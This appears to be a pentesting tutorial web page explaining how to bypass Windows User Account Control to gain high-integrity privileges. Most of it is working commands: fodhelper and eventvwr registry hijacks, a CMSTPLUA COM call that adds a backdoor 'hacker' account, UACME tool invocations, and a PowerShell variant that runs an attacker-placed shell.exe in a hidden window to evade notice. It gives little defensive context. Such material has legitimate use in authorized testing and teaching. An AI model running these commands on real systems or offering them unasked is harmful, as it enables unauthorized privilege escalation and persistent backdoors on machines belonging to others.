Skip to content
HackIndex logo

HackIndex

UAC Bypass for Windows Privilege Escalation

6 min read Apr 24, 2026

User Account Control (UAC) is not a security boundary — it is a convenience feature. A local administrator in a medium integrity process can bypass UAC to reach high integrity without triggering a UAC prompt. UAC bypass matters when you have admin credentials or a shell running as an admin user but at medium integrity — commands like net localgroup work but actions requiring full admin (LSASS dump, service modification) are blocked.

Prerequisites Check

UAC bypass only applies when:

  1. Your user is in the local Administrators group

  2. The process is running at medium integrity (not already elevated)

Check both:

C:\Users\Guest\Desktop> # Are you in the administrators group?
C:\Users\Guest\Desktop> net user %USERNAME% | findstr /i "Local Group"
C:\Users\Guest\Desktop> whoami /groups | findstr "Administrators"
 
C:\Users\Guest\Desktop> # What integrity level is your current process?
C:\Users\Guest\Desktop> whoami /groups | findstr "Mandatory"
C:\Users\Guest\Desktop> # Medium Mandatory Level = UAC bypass needed
C:\Users\Guest\Desktop> # High Mandatory Level = already elevated, skip UAC bypass
Explain command
%USERNAME% Environment variable expanding to the current logged-in username.
/i Performs a case-insensitive string search in findstr.
"Local Group" Search string to filter net user output for group memberships.
/groups Displays group memberships and privilege info for the current user.
"Administrators" Search string to filter whoami output for Administrators group entry.
"Mandatory" Search string to filter whoami output for the process integrity level.

If you are already at High integrity, UAC bypass is irrelevant — proceed directly to other privesc techniques.

fodhelper.exe — Registry Hijack (Windows 10)

fodhelper.exe is a Microsoft-signed binary that auto-elevates (runs as high integrity without a UAC prompt). It reads a registry key under HKCU before execution — which any user can write to. Set that key to your payload and launch fodhelper.

C:\Users\Guest\Desktop> # Write payload to registry
C:\Users\Guest\Desktop> reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
C:\Users\Guest\Desktop> reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f
 
C:\Users\Guest\Desktop> # Launch fodhelper — it reads the registry key and executes your command at high integrity
C:\Users\Guest\Desktop> start C:\Windows\System32\fodhelper.exe
Explain command
HKCU\Software\Classes\ms-settings\Shell\Open\command Registry path used for UAC bypass via fodhelper.exe hijacking
/d "cmd.exe" Sets the default value (data) of the registry key to cmd.exe
/f Forces the operation without prompting for confirmation
/v DelegateExecute Creates the DelegateExecute value required to trigger elevated execution
C:\Windows\System32\fodhelper.exe Target binary that auto-elevates and reads the hijacked registry key

Wait a moment — an elevated cmd.exe opens. Verify:

C:\Users\Guest\Desktop> whoami /groups | findstr "High Mandatory"
Explain command
/groups Displays group membership and security identifiers for the current user.
"High Mandatory" Search string to filter for High Mandatory Level integrity entries.

Reverse shell variant:

C:\Users\Guest\Desktop> reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\shell.exe" /f
C:\Users\Guest\Desktop> reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f
C:\Users\Guest\Desktop> start C:\Windows\System32\fodhelper.exe
Explain command
HKCU\Software\Classes\ms-settings\Shell\Open\command Registry key path used for COM handler hijacking via ms-settings.
/d "C:\Windows\Temp\shell.exe" Sets the default value of the registry key to the specified executable.
/f Forces the write operation without prompting for confirmation.
/v DelegateExecute Creates the DelegateExecute value required to trigger UAC bypass via fodhelper.
C:\Windows\System32\fodhelper.exe Launches fodhelper.exe, which auto-elevates and triggers the hijacked registry handler.

Cleanup:

C:\Users\Guest\Desktop> reg delete HKCU\Software\Classes\ms-settings /f
Explain command
HKCU\Software\Classes\ms-settings Registry key path targeting ms-settings class under current user hive
/f Force deletion without prompting for confirmation

eventvwr.exe — Registry Hijack (Windows 7/8/10)

eventvwr.exe also auto-elevates and reads from HKCU before launching mmc.exe. Works on older Windows versions where fodhelper is not present.

C:\Users\Guest\Desktop> reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
C:\Users\Guest\Desktop> start C:\Windows\System32\eventvwr.exe
Explain command
HKCU\Software\Classes\mscfile\shell\open\command Registry key path to hijack the mscfile handler for UAC bypass
/d "cmd.exe" Sets the registry key default value to cmd.exe as the handler
/f Forces the write without prompting for confirmation
C:\Windows\System32\eventvwr.exe Launches Event Viewer, which auto-elevates and triggers the hijacked handler

Cleanup:

C:\Users\Guest\Desktop> reg delete HKCU\Software\Classes\mscfile /f
Explain command
HKCU\Software\Classes\mscfile Registry path targeting the mscfile file association under current user hive
/f Force deletion without prompting for confirmation

CMSTPLUA COM Object (Windows 10/11)

Uses the CMSTPLUA COM object which is configured to auto-elevate. No registry modification needed — just invoke it via PowerShell:

PS C:\Users\Guest\Desktop> $obj = [activator]::CreateInstance([type]::GetTypeFromProgID("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"))
PS C:\Users\Guest\Desktop> $obj.ShellExec("cmd.exe", "/c net user hacker Password123! /add", "", "open", 0)
Explain command
$obj PowerShell variable storing the elevated COM object instance.
[activator]::CreateInstance Instantiates a COM object using .NET reflection.
[type]::GetTypeFromProgID Retrieves a .NET Type object from a COM ProgID string.
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} ProgID invoking UAC elevation via ShellExecute COM CLSID (CMSTPLUA).
.ShellExec COM method to execute a process with specified parameters.
cmd.exe Target executable passed to ShellExec for process creation.
/c net user hacker Password123! /add cmd flag running net user to add a backdoor local account.
"open" ShellExec verb parameter specifying the open execution action.

Automated UAC Bypass with UACME

UACME maintains a comprehensive list of UAC bypass techniques:

C:\Users\Guest\Desktop> # List all available methods
C:\Users\Guest\Desktop> .\Akagi64.exe /?
 
C:\Users\Guest\Desktop> # Method 23 — CMSTPLUA (works on most Windows 10 versions)
C:\Users\Guest\Desktop> .\Akagi64.exe 23 C:\Windows\System32\cmd.exe
 
C:\Users\Guest\Desktop> # Method 33 — fodhelper
C:\Users\Guest\Desktop> .\Akagi64.exe 33 C:\Windows\System32\cmd.exe
 
C:\Users\Guest\Desktop> # Method 61 — works on Windows 10 20H2+
C:\Users\Guest\Desktop> .\Akagi64.exe 61 C:\Windows\System32\cmd.exe
Explain command
/? Displays all available UAC bypass methods supported by Akagi64.
23 Selects method 23 (CMSTPLUA COM interface UAC bypass).
C:\Windows\System32\cmd.exe Target executable to launch with elevated privileges.
33 Selects method 33 (fodhelper.exe UAC bypass).
61 Selects method 61, compatible with Windows 10 20H2 and later.

Download: https://github.com/hfiref0x/UACME

PowerShell UAC Bypass

PS C:\Users\Guest\Desktop> # Check UAC level
PS C:\Users\Guest\Desktop> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
PS C:\Users\Guest\Desktop> # 0 = No prompt (UAC disabled effectively)
PS C:\Users\Guest\Desktop> # 2 = Prompt for credentials
PS C:\Users\Guest\Desktop> # 5 = Prompt for consent (default)
 
PS C:\Users\Guest\Desktop> # fodhelper via PowerShell
PS C:\Users\Guest\Desktop> New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
PS C:\Users\Guest\Desktop> New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
PS C:\Users\Guest\Desktop> Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Windows\Temp\shell.exe" -Force
PS C:\Users\Guest\Desktop> Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Explain command
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Registry path storing UAC policy settings including consent behavior.
.ConsentPromptBehaviorAdmin Registry value controlling UAC elevation prompt behavior for admins.
HKCU:\Software\Classes\ms-settings\Shell\Open\command User-writable registry key hijacked to redirect fodhelper execution.
-Force Suppresses confirmation prompts and overwrites existing registry items.
-Path Specifies the target registry path for property operations.
-Name "DelegateExecute" Registry value that signals shell to elevate without UAC prompt.
-Value "" Empty string value set for DelegateExecute to trigger elevation bypass.
-Name "(default)" Default registry value set to the malicious command payload.
-Value "cmd /c start C:\Windows\Temp\shell.exe" Payload executed with elevated privileges via the UAC bypass.
-WindowStyle Hidden Launches fodhelper.exe without a visible window to avoid detection.
C:\Windows\System32\fodhelper.exe Auto-elevating Windows binary abused to trigger the UAC bypass.
C:\Windows\Temp\shell.exe Attacker-placed executable run with elevated privileges post-bypass.

When UAC Bypass Is Not Needed

If UAC is set to "Never notify" (ConsentPromptBehaviorAdmin = 0), all admin actions are automatically elevated:

C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
C:\Users\Guest\Desktop> # 0x0 = UAC disabled = no bypass needed
Explain command
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Registry hive path storing Windows UAC and system policy settings.
/v ConsentPromptBehaviorAdmin Queries the specific value controlling UAC consent prompt behavior for admins.

References